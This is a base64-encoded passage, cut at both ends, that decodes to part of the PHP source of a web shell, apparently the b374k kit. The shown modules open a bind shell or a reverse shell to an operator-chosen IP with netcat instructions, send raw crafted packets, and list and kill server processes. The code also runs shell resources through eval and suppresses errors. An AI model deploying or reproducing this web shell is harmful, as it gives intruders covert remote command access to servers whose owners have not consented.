7ICRHTE9CQUxTWydtb2R1bGUnXVsnbmV0d29yayddWydpZCddID0gIm5ldHdvcmsiOwokR0xPQkFMU1snbW9kdWxlJ11bJ25ldHdvcmsnXVsndGl0bGUnXSA9ICJOZXR3b3JrIjsKJEdMT0JBTFNbJ21vZHVsZSddWyduZXR3b3JrJ11bJ2pzX29udGFic2VsZWN0ZWQnXSA9ICIiOwokR0xPQkFMU1snbW9kdWxlJ11bJ25ldHdvcmsnXVsnY29udGVudCddID0gIgo8dGFibGUgY2xhc3M9J2JveHRibCc+Cjx0aGVhZD4gPHRyPjx0aCBjb2xzcGFuPScyJz48cCBjbGFzcz0nYm94dGl0bGUnPkJpbmQgU2hlbGw8L3A+PC90aD48L3RyPgo8L3RoZWFkPgo8dGJvZHk+IDx0cj48dGQgc3R5bGU9J3dpZHRoOjE0NHB4Jz5TZXJ2ZXIgSVA8L3RkPjx0ZD48aW5wdXQgdHlwZT0ndGV4dCcgaWQ9J2JpbmRBZGRyJyB2YWx1ZT0nIi4kc2VydmVyX2FkZHIuIicgZGlzYWJsZWQ+PC90ZD48L3RyPiA8dHI+PHRkPlBvcnQ8L3RkPjx0ZD48aW5wdXQgdHlwZT0ndGV4dCcgaWQ9J2JpbmRQb3J0JyB2YWx1ZT0nIi4kZGVmYXVsdF9wb3J0LiInIG9ua2V5ZG93bj1cInRyYXBfZW50ZXIoZXZlbnQsICdyc19nb19iaW5kJyk7XCI+PC90ZD48L3RyPgo8L3Rib2R5Pgo8dGZvb3Q+IDx0cj4gPHRkIHN0eWxlPSd3aWR0aDoxNDRweDsnPiA8c2VsZWN0IGlkPSdiaW5kTGFuZycgY2xhc3M9J3JzVHlwZSc+ICIuJHdpbmJpbmFyeS4iIDwvc2VsZWN0PiA8L3RkPiA8dGQ+PHNwYW4gY2xhc3M9J2J1dHRvbicgb25jbGljaz1cInJzX2dvX2JpbmQoKTtcIiBzdHlsZT0nd2lkdGg6MTIwcHg7Jz5ydW48L3NwYW4+PC90ZD4gPC90cj4gPHRyPjx0ZCBjb2xzcGFuPScyJz48cHJlIGlkPSdiaW5kUmVzdWx0Jz5QcmVzcyAnIHJ1biAnIGJ1dHRvbiBhbmQgcnVuICcgbmMgc2VydmVyX2lwIHBvcnQgJyBvbiB5b3VyIGNvbXB1dGVyPC9wcmU+PC90ZD48L3RyPgo8L3Rmb290Pgo8L3RhYmxlPgo8YnI+Cjx0YWJsZSBjbGFzcz0nYm94dGJsJz4KPHRoZWFkPiA8dHI+PHRoIGNvbHNwYW49JzInPjxwIGNsYXNzPSdib3h0aXRsZSc+UmV2ZXJzZSBTaGVsbDwvcD48L3RoPjwvdHI+CjwvdGhlYWQ+Cjx0Ym9keT4gPHRyPjx0ZCBzdHlsZT0nd2lkdGg6MTQ0cHgnPlRhcmdldCBJUDwvdGQ+PHRkPjxpbnB1dCB0eXBlPSd0ZXh0JyBpZD0nYmFja0FkZHInIHZhbHVlPSciLiRyZW1vdGVfYWRkci4iJyBvbmtleWRvd249XCJ0cmFwX2VudGVyKGV2ZW50LCAncnNfZ29fYmFjaycpO1wiPjwvdGQ+PC90cj4gPHRyPjx0ZD5Qb3J0PC90ZD48dGQ+PGlucHV0IHR5cGU9J3RleHQnIGlkPSdiYWNrUG9ydCcgdmFsdWU9JyIuJGRlZmF1bHRfcG9ydC4iJyBvbmtleWRvd249XCJ0cmFwX2VudGVyKGV2ZW50LCAncnNfZ29fYmFjaycpO1wiPjwvdGQ+PC90cj4KPC90Ym9keT4KPHRmb290PiA8dHI+IDx0ZCBzdHlsZT0nd2lkdGg6MTQ0cHg7Jz4gPHNlbGVjdCBpZD0nYmFja0xhbmcnIGNsYXNzPSdyc1R5cGUnPiAiLiR3aW5iaW5hcnkuIiA8L3NlbGVjdD4gPC90ZD4gPHRkPjxzcGFuIGNsYXNzPSdidXR0b24nIG9uY2xpY2s9XCJyc19nbygnYmFjaycpO1wiIHN0eWxlPSd3aWR0aDoxMjBweDsnPnJ1bjwvc3Bhbj48L3RkPiA8L3RyPiA8dHI+PHRkIGNvbHNwYW49JzInPjxwcmUgaWQ9J2JhY2tSZXN1bHQnPlJ1biAnIG5jIC1sIC12IC1wIHBvcnQgJyBvbiB5b3VyIGNvbXB1dGVyIGFuZCBwcmVzcyAnIHJ1biAnIGJ1dHRvbjwvcHJlPjwvdGQ+PC90cj4KPC90Zm9vdD4KPC90YWJsZT4KPGJyPgo8dGFibGUgY2xhc3M9J2JveHRibCc+Cjx0aGVhZD4gPHRyPjx0aCBjb2xzcGFuPScyJz48cCBjbGFzcz0nYm94dGl0bGUnPlNpbXBsZSBQYWNrZXQgQ3JhZnRlcjwvcD48L3RoPjwvdHI+CjwvdGhlYWQ+Cjx0Ym9keT4gPHRyPjx0ZCBzdHlsZT0nd2lkdGg6MTIwcHgnPkhvc3Q8L3RkPjx0ZD48aW5wdXQgdHlwZT0ndGV4dCcgaWQ9J3BhY2tldEhvc3QnIHZhbHVlPSd0Y3A6Ly8iLiRzZXJ2ZXJfYWRkci4iJyBvbmtleWRvd249XCJ0cmFwX2VudGVyKGV2ZW50LCAncGFja2V0X2dvJyk7XCI+PC90ZD48L3RyPiA8dHI+PHRkPlN0YXJ0IFBvcnQ8L3RkPjx0ZD48aW5wdXQgdHlwZT0ndGV4dCcgaWQ9J3BhY2tldFN0YXJ0UG9ydCcgdmFsdWU9JzgwJyBvbmtleWRvd249XCJ0cmFwX2VudGVyKGV2ZW50LCAncGFja2V0X2dvJyk7XCI+PC90ZD48L3RyPiA8dHI+PHRkPkVuZCBQb3J0PC90ZD48dGQ+PGlucHV0IHR5cGU9J3RleHQnIGlkPSdwYWNrZXRFbmRQb3J0JyB2YWx1ZT0nODAnIG9ua2V5ZG93bj1cInRyYXBfZW50ZXIoZXZlbnQsICdwYWNrZXRfZ28nKTtcIj48L3RkPjwvdHI+IDx0cj48dGQ+Q29ubmVjdGlvbiBUaW1lb3V0PC90ZD48dGQ+PGlucHV0IHR5cGU9J3RleHQnIGlkPSdwYWNrZXRUaW1lb3V0JyB2YWx1ZT0nNScgb25rZXlkb3duPVwidHJhcF9lbnRlcihldmVudCwgJ3BhY2tldF9nbycpO1wiPjwvdGQ+PC90cj4gPHRyPjx0ZD5TdHJlYW0gVGltZW91dDwvdGQ+PHRkPjxpbnB1dCB0eXBlPSd0ZXh0JyBpZD0ncGFja2V0U1RpbWVvdXQnIHZhbHVlPSc1JyBvbmtleWRvd249XCJ0cmFwX2VudGVyKGV2ZW50LCAncGFja2V0X2dvJyk7XCI+PC90ZD48L3RyPgo8L3Rib2R5Pgo8dGZvb3Q+IDx0cj48dGQgY29sc3Bhbj0nMic+PHRleHRhcmVhIGlkPSdwYWNrZXRDb250ZW50JyBzdHlsZT0naGVpZ2h0OjE0MHB4O21pbi1oZWlnaHQ6MTQwcHg7Jz5HRVQgLyBIVFRQLzEuMVxcclxcblxcclxcbjwvdGV4dGFyZWE+PC90ZD48L3RyPiA8dHI+IDx0ZD4gPHNwYW4gY2xhc3M9J2J1dHRvbicgb25jbGljaz1cInBhY2tldF9nbygpO1wiIHN0eWxlPSd3aWR0aDoxMjBweDsnPnJ1bjwvc3Bhbj4gPC90ZD4gPHRkPllvdSBjYW4gYWxzbyBwcmVzcyBjdHJsK2VudGVyIHRvIHN1Ym1pdDwvdGQ+IDwvdHI+IDx0cj48dGQgY29sc3Bhbj0nMic+PGRpdiBpZD0ncGFja2V0UmVzdWx0Jz48L2Rpdj48L3RkPjwvdHI+CjwvdGZvb3Q+CjwvdGFibGU+CiI7IGlmKGlzc2V0KCRwWydyc0xhbmcnXSkgJiYgaXNzZXQoJHBbJ3JzQXJncyddKSl7ICRyc0xhbmcgPSAkcFsncnNMYW5nJ107ICRyc0FyZ3MgPSAkcFsncnNBcmdzJ107ICRyZXMgPSAiIjsgaWYoJHJzTGFuZz09InBocCIpeyAkY29kZSA9IGdldF9yZXNvdXJjZSgicnNfIi4kcnNMYW5nKTsgaWYoJGNvZGUhPT1mYWxzZSl7ICRjb2RlID0gIj8+PD9waHAgXCR0YXJnZXQgPSBcIiIuJHJzQXJncy4iXCI7ID8+Ii4kY29kZTsgJHJlcyA9IGV2YWxfZ28oJHJzTGFuZywgJGNvZGUsICIiLCAiIik7IH0gfSBlbHNleyAkY29kZSA9IGdldF9yZXNvdXJjZSgicnNfIi4kcnNMYW5nKTsgaWYoJGNvZGUhPT1mYWxzZSl7ICRyZXMgPSBldmFsX2dvKCRyc0xhbmcsICRjb2RlLCAiIiwgJHJzQXJncyk7IH0gfSBpZigkcmVzPT09ZmFsc2UpICRyZXMgPT0gImVycm9yIjsgb3V0cHV0KGh0bWxfc2FmZSgkcmVzKSk7Cn0KZWxzZWlmKGlzc2V0KCRwWydwYWNrZXRUaW1lb3V0J10pJiZpc3NldCgkcFsncGFja2V0U1RpbWVvdXQnXSkmJmlzc2V0KCRwWydwYWNrZXRQb3J0J10pJiZpc3NldCgkcFsncGFja2V0VGltZW91dCddKSYmaXNzZXQoJHBbJ3BhY2tldENvbnRlbnQnXSkpeyAkcGFja2V0SG9zdCA9IHRyaW0oJHBbJ3BhY2tldEhvc3QnXSk7IGlmKCFwcmVnX21hdGNoKCIvW2EtejAtOV0rOlwvXC8uKi8iLCAkcGFja2V0SG9zdCkpICRwYWNrZXRIb3N0ID0gInRjcDovLyIuJHBhY2tldEhvc3Q7ICRwYWNrZXRQb3J0ID0gKGludCkgJHBbJ3BhY2tldFBvcnQnXTsgJHBhY2tldFRpbWVvdXQgPSAoaW50KSAkcFsncGFja2V0VGltZW91dCddOyAkcGFja2V0U1RpbWVvdXQgPSAoaW50KSAkcFsncGFja2V0U1RpbWVvdXQnXTsgJHBhY2tldENvbnRlbnQgPSAkcFsncGFja2V0Q29udGVudCddOyBpZihjdHlwZV94ZGlnaXQoJHBhY2tldENvbnRlbnQpKSAkcGFja2V0Q29udGVudCA9IEBwYWNrKCJIKiIgLCAkcGFja2V0Q29udGVudCk7IGVsc2V7ICRwYWNrZXRDb250ZW50ID0gc3RyX3JlcGxhY2UoYXJyYXkoIlxyIiwiXG4iKSwgIiIsICRwYWNrZXRDb250ZW50KTsgJHBhY2tldENvbnRlbnQgPSBzdHJfcmVwbGFjZShhcnJheSgiXFxyIiwiXFxuIiksIGFycmF5KCJcciIsICJcbiIpLCAkcGFja2V0Q29udGVudCk7IH0gJHJlcyA9ICIiOyAkc29jayA9IGZzb2Nrb3BlbigkcGFja2V0SG9zdCwgJHBhY2tldFBvcnQsICRlcnJObywgJGVyclN0ciwgJHBhY2tldFRpbWVvdXQpOyBpZighJHNvY2speyAkcmVzIC49ICI8ZGl2IGNsYXNzPSd3ZWFrJz4iOyAkcmVzIC49IGh0bWxfc2FmZSh0cmltKCRlcnJTdHIpKS4iIChlcnJvciAiLmh0bWxfc2FmZSh0cmltKCRlcnJObykpLiIpPC9kaXY+IjsgfSBlbHNleyBzdHJlYW1fc2V0X3RpbWVvdXQoJHNvY2ssICRwYWNrZXRTVGltZW91dCk7IGZ3cml0ZSgkc29jaywgJHBhY2tldENvbnRlbnQuIlxyXG5cclxuXHgwMCIpOyAkY291bnRlciA9IDA7ICRtYXh0cnkgPSAxOyAkYmluID0gIiI7IGRveyAkbGluZSA9IGZnZXRzKCRzb2NrLCAxMDI0KTsgaWYodHJpbSgkbGluZSk9PSIiKSAkY291bnRlcisrOyAkYmluIC49ICRsaW5lOyB9d2hpbGUoJGNvdW50ZXI8JG1heHRyeSk7IGZjbG9zZSgkc29jayk7ICRyZXMgLj0gIjx0YWJsZSBjbGFzcz0nYm94dGJsJz48dHI+PHRkPjx0ZXh0YXJlYSBzdHlsZT0naGVpZ2h0OjE0MHB4O21pbi1oZWlnaHQ6MTQwcHg7Jz4iLmh0bWxfc2FmZSgkYmluKS4iPC90ZXh0YXJlYT48L3RkPjwvdHI+IjsgJHJlcyAuPSAiPHRyPjx0ZD48dGV4dGFyZWEgc3R5bGU9J2hlaWdodDoxNDBweDttaW4taGVpZ2h0OjE0MHB4Oyc+Ii5iaW4yaGV4KCRiaW4pLiI8L3RleHRhcmVhPjwvdGQ+PC90cj48L3RhYmxlPiI7IH0gb3V0cHV0KCRyZXMpOwp9ID8+PD9waHAKJEdMT0JBTFNbJ21vZHVsZSddWydwcm9jZXNzZXMnXVsnaWQnXSA9ICJwcm9jZXNzZXMiOwokR0xPQkFMU1snbW9kdWxlJ11bJ3Byb2Nlc3NlcyddWyd0aXRsZSddID0gIlByb2Nlc3NlcyI7CiRHTE9CQUxTWydtb2R1bGUnXVsncHJvY2Vzc2VzJ11bJ2pzX29udGFic2VsZWN0ZWQnXSA9ICJzaG93X3Byb2Nlc3NlcygpOyI7CiRHTE9CQUxTWydtb2R1bGUnXVsncHJvY2Vzc2VzJ11bJ2NvbnRlbnQnXSA9ICIiOyBpZighZnVuY3Rpb25fZXhpc3RzKCdzaG93X3Byb2Nlc3NlcycpKXsgZnVuY3Rpb24gc2hvd19wcm9jZXNzZXMoKXsgJG91dHB1dCA9ICcnOyAkd2NvdW50ID0gMTE7IGlmKGlzX3dpbigpKXsgJGNtZCA9ICJ0YXNrbGlzdCAvViAvRk8gY3N2IjsgJHdleHBsb2RlID0gIlwiLFwiIjsgfSBlbHNleyAkY21kID0gInBzIGF1eCI7ICR3ZXhwbG9kZSA9ICIgIjsgfSAkcmVzID0gZXhlY3V0ZSgkY21kKTsgaWYodHJpbSgkcmVzKT09JycpIHJldHVybiBmYWxzZTsgZWxzZXsgJG91dHB1dCAuPSAiPHRhYmxlIGlkPSdwc1RhYmxlJyBjbGFzcz0nZGF0YVZpZXcgc29ydGFibGUnPiI7IGlmKCFpc193aW4oKSkgJHJlcyA9IHByZWdfcmVwbGFjZSgnI1wgKyMnLCcgJywkcmVzKTsgJHBzYXJyID0gZXhwbG9kZSgiXG4iLCRyZXMpOyAkZmkgPSB0cnVlOyAkdGJsY291bnQgPSAwOyAkY2hlY2sgPSBleHBsb2RlKCR3ZXhwbG9kZSwkcHNhcnJbMF0pOyAkd2NvdW50ID0gY291bnQoJGNoZWNrKTsgZm9yZWFjaCgkcHNhcnIgYXMgJHBzYSl7IGlmKHRyaW0oJHBzYSkhPScnKXsgaWYoJGZpKXsgJGZpID0gZmFsc2U7ICRwc2xuID0gZXhwbG9kZSgkd2V4cGxvZGUsICRwc2EsICR3Y291bnQpOyAkb3V0cHV0IC49ICI8dHI+PHRoIGNsYXNzPSdjb2wtY2JveCBzb3J0dGFibGVfbm9zb3J0Jz48ZGl2IGNsYXNzPSdjQm94QWxsJz48L2Rpdj48L3RoPjx0aCBjbGFzcz0nc29ydHRhYmxlX25vc29ydCc+YWN0aW9uPC90aD4iOyBmb3JlYWNoKCRwc2xuIGFzICRwKSAkb3V0cHV0IC49ICI8dGg+Ii50cmltKHRyaW0oc3RydG9sb3dlcigkcCkpICwiXCIiKS4iPC90aD4iOyAkb3V0cHV0IC49ICI8L3RyPiI7IH0gZWxzZXsgJHBzbG4gPSBleHBsb2RlKCR3ZXhwbG9kZSwgJHBzYSwgJHdjb3VudCk7ICRwaWQgPSB0cmltKHRyaW0oJHBzbG5bMV0pLCJcIiIpOyAkdGJsY291bnQgPSAwOyAkb3V0cHV0IC49ICI8dHIgZGF0YS1waWQ9JyIuJHBpZC4iJz4iOyBmb3JlYWNoKCRwc2xuIGFzICRwKXsgaWYodHJpbSgkcCk9PSIiKSAkcCA9ICIgIjsgJHAgPSB0cmltKHRyaW0oJHApICwiXCIiKTsgJHAgPSBodG1sX3NhZmUoJHApOyBpZigkdGJsY291bnQgPT0gMCl7ICRvdXRwdXQgLj0gIjx0ZD48ZGl2IGNsYXNzPSdjQm94Jz48L2Rpdj48L3RkPjx0ZD48YSBjbGFzcz0na2lsbCc+a2lsbDwvYT48L3RkPjx0ZD4iLiRwLiI8L3RkPiI7ICR0Ymxjb3VudCsrOyB9IGVsc2V7ICR0Ymxjb3VudCsrOyBpZigkdGJsY291bnQgPT0gY291bnQoJHBzbG4pKSAkb3V0cHV0IC49ICI8dGQgc3R5bGU9J3RleHQtYWxpZ246bGVmdDsnPiIuJHAuIjwvdGQ+IjsgZWxzZSAkb3V0cHV0IC49ICI8dGQgc3R5bGU9J3RleHQtYWxpZ246Y2VudGVyOyc+Ii4kcC4iPC90ZD4iOyB9IH0gJG91dHB1dCAuPSAiPC90cj4iOyB9IH0gfSAkY29sc3BhbiA9IGNvdW50KCRwc2xuKSsxOyAkY29sc3BhbkFsbCA9ICRjb2xzcGFuKzE7ICRvdXRwdXQgLj0gIjx0Zm9vdD48dHI+PHRkPjxkaXYgY2xhc3M9J2NCb3hBbGwnPjwvZGl2PjwvdGQ+PHRkIGNvbHNwYW49Ii4kY29sc3Bhbi4iIHN0eWxlPSd0ZXh0LWFsaWduOmxlZnQ7Jz48c3BhbiBjbGFzcz0nYnV0dG9uJyBvbmNsaWNrPSdraWxsX3NlbGVjdGVkKCk7JyBzdHlsZT0nbWFyZ2luLXJpZ2h0OjhweDsnPmtpbGwgc2VsZWN0ZWQ8L3NwYW4+PHNwYW4gY2xhc3M9J2J1dHRvbicgb25jbGljaz0nc2hvd19wcm9jZXNzZXMoKTsnPnJlZnJlc2g8L3NwYW4+PHNwYW4gY2xhc3M9J3BzU2VsZWN0ZWQnPjwvc3Bhbj48L3RkPjwvdHI+PC90Zm9vdD48L3RhYmxlPiI7IH0gcmV0dXJuICRvdXRwdXQ7IH0KfSBpZihpc3NldCgkcFsnc2hvd1Byb2Nlc3NlcyddKSl7ICRwcm9jZXNzZXMgPSBzaG93X3Byb2Nlc3NlcygpOyBpZigkcHJvY2Vzc2VzIT09ZmFsc2UpIG91dHB1dCgkcHJvY2Vzc2VzKTsgb3V0cHV0KCdlcnJvcicpOwp9CmVsc2VpZihpc3NldCgkcFsnYWxsUGlkJ10pKXsgJGFsbFBpZCA9IGV4cGxvZGUoIiAiLCAkcFsnYWxsUGlkJ10pOyAkY291bnRlciA9IDA7IGZvcmVhY2goJGFsbFBpZCBhcyAkcGlkKXsgJHBpZCA9IHRyaW0oJHBpZCk7IGlmKCFlbXB0eSgkcGlkKSl7IGlmKGZ1bmN0aW9uX2V4aXN0cygicG9zaXhfa2lsbCIpKXsgaWYocG9zaXhfa2lsbCgkcGlkLCc5JykpICRjb3VudGVyKys7IH0gZWxzZXsgaWYoaXNfd2luKCkpeyAkY21kID0gZXhlY3V0ZSgidGFza2tpbGwgL0YgL1BJRCAiLiRwaWQpOyAkY21kID0gZXhlY3V0ZSgidGFza2xpc3QgL0ZJIFwiUElEIGVxICIuJHBpZC4iXCIiKTsgaWYoc3RycG9zKCRjbWQsIk5vIHRhc2tzIGFyZSBydW5uaW5nIikhPT1mYWxzZSkgJGNvdW50ZXIrKzsgfSBlbHNleyAkY21kID0gZXhlY3V0ZSgia2lsbCAtOSAiLiRwaWQpOyBpZigoc3RycG9zKCRjbWQsICJzdWNoIHByb2Nlc3MiKT09PWZhbHNlKSYmKHN0cnBvcygkY21kLCAibm90IHBlcm1pdHRlZCIpPT09ZmFsc2UpKXsgJGNtZCA9IHRyaW0oZXhlY3V0ZSgicHMgLXAgIi4kcGlkKSk7ICRjaGVjayA9IGV4cGxvZGUoIlxuIiwgJGNtZCk7IGlmKGNvdW50KCRjaGVjayk9PTEpICRjb3VudGVyKys7IH0gfSB9IH0gfSBpZigkY291bnRlcj4wKSBvdXRwdXQoJGNvdW50ZXIpOyBlbHNlIG91dHB1dCgnZXJyb3InKTsKfSA/Pjw/cGhwCiRlcnJvciA9IEBvYl9nZXRfY29udGVudHMoKTsKJGVycm9yX2h0bWwgPSAoIWVtcHR5KCRlcnJvcikpPyI8cHJlIGNsYXNzPSdwaHBFcnJvciBib3JkZXInPiIuc3RyX3JlcGxhY2UoIlxuXG4iLCAiXG4iLCBodG1sX3NhZmUoJGVycm9yKSkuIjwvcHJlPiI6IiI7CkBvYl9lbmRfY2xlYW4oKTsKZXJyb3JfcmVwb3J0aW5nKDApOwpAaW5pX3NldCgnZGlzcGxheV9lcnJvcnMnLCcwJyk7Pz48IWRvY3R5cGUgaHRtbD4KPGh0bWw+CjxoZWFkPgo8dGl0bGU+PD9waHAgZWNobyAkR0xPQkFMU1sndGl0bGUnXS4iICIuJEdMT0JBTFNbJ3ZlciddOz8+PC90aXRsZT4KPG1ldGEgY2hhcnNldD0ndXRmLTgnPgo8bWV0YSBuYW1lPSdyb2JvdHMnIGNvbnRlbnQ9J25vaW5kZXgsIG5vZm9sbG93LCBub2FyY2hpdmUnPgo8bWV0YSBuYW1lPSJ2aWV3cG9ydCIgY29udGVudD0id2lkdGg9ZGV2aWNlLXdpZHRoLCBpbml0aWFsLXNjYWxlPTEuMCwgbWF4aW11bS1zY2FsZT0xLjAsIHVzZXItc2NhbGFibGU9bm8sIHVzZXItc2NhbGFibGU9MCI+CjxsaW5rIHJlbD0nU0hPUlRDVVQgSUNPTicgaHJlZj0nPD9waHAgZWNobyBnZXRfcmVzb3VyY2UoJ2IzNzRrJyk7Pz4nPgo8c3R5bGUgdHlwZT0idGV4dC9jc3MiPgpAZm9udC1mYWNlIHsKZm9udC1mYW1pbHk6J3VidW50dW1vbm8nOwpzcmM6dXJsKGRhdGE6YXBwbGljYXRpb24veC1mb250LXdvZmY7Y2hhcnNldD11dGYtODtiYXNlNjQsZDA5R1JnQUJBQUFBQUdrWUFBOEFBQUFBcCtnQUFRQUJBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUJHUmxSTkFBQUJXQUFBQUJ3QUFBQWNYaHFpQzA5VEx6SUFBQUYwQUFBQVhBQUFBR0NJZisyZlkyMWhjQUFBQWRBQUFBR1FBQUFCOHFEcHIrVmpkblFnQUFBRFlBQUFBSTRBQUFJSUMzQVV4Mlp3WjIwQUFBUHdBQUFEZXdBQUJpTjJ2VVRFWjJGemNBQUFCMndBQUFBSUFBQUFDUC8vQUFObmJIbG1BQUFIZEFBQVdYNEFBSThndGsvQktHaGxZV1FBQUdEMEFBQUFNZ0FBQURiMmZmaGhhR2hsWVFBQVlTZ0FBQUFkQUFBQUpBVTFBcDVvYlhSNEFBQmhTQUFBQVE4QUFBRzhKcVFiTUd4dlkyRUFBR0pZQUFBQnRnQUFBYmJnSGJ3eWJXRjRjQUFBWkJBQUFBQWdBQUFBSUFiL0NKeHVZVzFsQUFCa01BQUFBaHdBQUFXVUQvc1F5bkJ2YzNRQUFHWk1BQUFCZUFBQUFoaEdBaEhPY0hKbGNBQUFaOFFBQUFGVEFBQUJpcEkrTDZRQUFBQUJBQUFBQU1tSmJ6RUFBQUFBeWVXK3l3QUFBQURLcTNRT2VBRmpZR2I4d1RpQmdaV0JnV2tQVXhjREEwTVBoR2E4eTJERThBc295czNLeWN6R3hNekU4b0NCNlg4QWcwSTBBeFM0T1BvNk1qZ3djSHhnWU5yNlA1ckJrTm1PWVpVQ0E4UDhNRWFnN2d0TTJVQWxDZ3lNQUYrcUVZVjRBV0pnWUdDR1loa0dSZ1lRZUFQa01ZTDVMQXdYZ0xRQmd3S1FKUUJrY1RMd01zZ3kxREg4WnpSa0RHWTZ4blNMNlk2Q2lJS1VncHlDa29LVmdvdENpY0lhSmRFSC85Ly8vY0R3L3ovWUxBNlFEcUQrQlVBZFFWQWR3Z29TQ2pKQUhaWVlPaGovLy96LzlmK1QvNC8vSC9vLzhYL2gzLzkvMy94OS9XRHJnMDBQTmo1WTkyREdnLzRIQ1E4MDd4MlV2eUZ3VytBbTBJMGtBMFkySUlheG1ZQUVFN29DWUZDd3NMS3hjM0J5Y2ZQdzh2RUxDQW9KaTRpS2lVdElTa25MeUFJa0o2K2dxS1Nzb3FxbXJxR3BwYTJqcTZkdllHaGtiR0pxWm01aGFXVnRZMnRuNytEbzVPemk2dWJ1NGVubDdlUHI1eDhRQ0ZoUWNFaG9XSGhFWkZSMFRHeGNmRUlpUTF0N1ovZmtHZk1XTDFxeWJPbnlsYXRYclZtN2Z0MkdqWnUzYnRtMlkvdWUzWHYzTVJTbHBHWmVxRmhZa00xUWxzWFFNWXVobUlFaHZSenN1cHdhaGhXN0dwUHpRT3pjV29ha3B0YnBoNCtjT0huMjNLblRPeGtPTWx5K2V2RVNVS2J5ekhtR2xwN20zcTcrQ1JQN3BrNWptREpuN3V4RFI0OFhNakFjcXdKS0F3QUQ4NUN4ZUFGakdIREFsQTFsOFA3L0RLSVlMekF3L0k4R2ltOEZpM0w5Ly9iL0d3TVhST1gvVHd4OFFQVjhRQldmR0UyQVdKS3BnTEVDS01yNS96dkRMd1pPb1BoM3JKWUVnY2tRTU1zTlNGb3hlQUJKSjVBNEVJY3lGRFBZQXNXZGdUd1BJRmtCRkFzQjBtNUFIa2crQVVpMkEwVnNnQ0ptWUxZSGtLMkxaTDRXd3hBRmpKTEFFRk5rcWdRQVVGRWxPZ0FBZUFGOVVzRnUyMFlRWFZLSnJFb3h5Z1N1SVlDSEREdVZZVU5TVlNCdTY3cXF6WXBjUnE2YTFySVVZR24wUUNxU0lkOTh5aUZvQWQ5cU1PMi9ETnVMYzhzUDlCOXk2TEU1NXB6T1VwUWdHWENJaFQzejNwdlp0ek55RDlYVDRlQ2tmL3p6VDA5KzdQMXcxSDBjU04vcmZPOGVIbnpYL25iL203MnZ2L3F5OVhtenNiMVYrd3cvZlZqZHVHOTl2RjRwZjFSYUs5NjlVekFOMFpBWVJFQmJFZDNad202M3FYT01HWWlYZ0lpQW9XQlZReEJsTWxoVnVxdzh1NkYwWjBwM29UUXNhSXQyc3dFU2dmN3hFYTZOMDc3aStFOGZRNkMzV2Z4RXgxeVJKZXVjT0E1WGdLeE9mU0FqQWtuQjgya2lJNS83cFpXeWg5NmszR3lJdEZ6aHNNSVJiZU5GYW13ZkdGbGdic3Y5MUJTbGRYMHRGV295SHROeFgwbmZkcHd3dzRTWDlhS2lSMnRaTHpqWG5zVkxTQnV2a3ordUxUR0s2dmZHT0k1L1VWU0l1U2dweUNUNW5lN1hhUWQ5Mm5ueGI1V2ZQS0VHK3BMcXlNMTZKNHNMRExwYnN4Q1NkNExONDl2L1ZwRTRSNG8xNjUzUW9YN2lZa3pNejJQQjNxaW8zK2M0MnN2TGExZU1PS0hMdnBybElFYjJYOEp0MVVNeUk4Mjhuak9mUE5YTTVaeFpsRWZvNkZYSktEL1BwMVc2SEVHendkUFBUbzBQODBDRnJXajBiS3IveDVNRWZYODJ0NkVpMStmQWpmTzN5dlNMRnV2amlCOXhyc2ZRVjlUQ0M5ckFqaFprQU9nZG5BOVVWcEtYMFlaSElucVdWMUZMK3RvWHlDVEtnbXpYUGV5clYrTFIremZwTHRoL1B4SzdJdFErYU5OVGJFc21hbnhHRHlON1RCQ2RnYklkY2tNZVg0aHFFdW90b1VVN2IyeEhmMkZleFcrN29aNkxtYUsxV2dtVWFSZEN2UzBHSU9BLzJHa3pZVkZ4bHJKaFJrQVp0cGpMK0paY3dkRnFIMDRLTmErcnFZSXU5YnEyRXpxejd3T1c3SmtuN2srbHBWNFdBM05QK1QyM1djdlYydEFPeUltL1pIQ2xLU2ZhWU43dEZwOG0wNUJmekJVbHZjNXVUbkVNVEpUSTVEWWF5clpZQlJMSG9IQ0NJVTZCM0dPbDM2Wm5uV1NMSFdDdmY2cXliZWUva3VGeWx2TjdDeTZQeVBTR2lvSTZaMHY1WTg2WDB1NE4rbWhPUTFMQzNpRFJuVEZ2S0NBNUl0Rlg1Q0lrZXc5Mlo2Z1JZQkJoRUNOWUVDVHg5ZnZMVVpLNmJuSWhvK20rN29OSDR3UUhxbTFuOWs3VWIvWUxEdWlCNkJtOVlhZlpTRTNSU2RHNDZxZXVjVFU0VmE4c0llQnFxRkxUNklTc2xOVXBQMUFoU0JqcjRmd2FUcE1vOUxtRjJPUkI4akhJd0FOQkpoNmtobG04UjJXY2RLaUNIWTBmYXZ4d2hoYzF2c1pyTVRhTjV2K0JQYXNQQUFBQUFBSC8vd0FDZUFGOGV3bDhYRmQ1N3puM3pwMjV5OHhkNXQ2WmUyZmZONDAwSTgxSUdrbldNcElsMmJJc0wvSVNMMUhzT0pCQUhCS01Ic1pPbkpnWVFreHdjSURrdFFSK1FBSjlvZTB2TFVzMms3WVVTS0h2TlU3ejJwVG1OUXNwcncveUhyamtGZHJYQXBiZjk5MDVjdVN3akhTL2MrNjV5NXh6dnUzL2ZlY000VWlHRU5yRlBVaDQ0aU8xTDFOU0gvMkt6OE5kYUh6Wks3dzgraFdlZ3lyNU1vL05BaloveGVmbGZ6bjZGWXJ0VFNOamxKcEdMa09sMTcvekhlN0JpOWRudUQwRTN2bjRwWi9SZGR4aEVpQVJrbXNiNUdPS1l0OXZHTEdvMTNwUXZkcS9sMHhNWEh5T0dzSGgrb1ZtL1VKZkw3VlV6cGVyOFdPMHlXZUxBLzJEelVZNFpIbHBnUk84L0REdkZiaTlQYkZ5T1JZdmxlaTNDdU5EcldTeU5UUmUrT0xGRHhkU3FRSWVoT0QzM2tuL2lDNXpqeENKbUNUMHBHd1NTZk9ZaE5RYjV4dTAvc3FyNS90NlRYZ3RmQk9GYjdwY2UwNFd1M3p5djhpK0xsSG1IdW5wUGxLdkgrbnBYaTN4dlRGQzZQL2dEa09aSW4vYzNoZVFKYStnQ3VySE5EMlI1RDJhUnd0YXRoTWpKdUZTY1NOSWd4OHp6WEEwUXo1R1BSOFRCTVdYTnZjRzkycDdFM0ZiL3AyQVplaUJHTTk1ZjBkS0pSMHBBSCtDdWxjNDZEbElENUtEWkFJL3dlSGhldDFvTnB2NmhVYWpjYmtDVjZqKzdVYWpmdkhWQy9weldONSs5elB3MFYxS0hmMDUvZmJWNmdWVzdldk41Rm81SHh3RFRmZG8rdHdqbE1PakJKUk96cWR1U2MybjJndkp3OGRUVUUvT0o5c0xxWnVPcDI5TzNmejV6MzkrL1d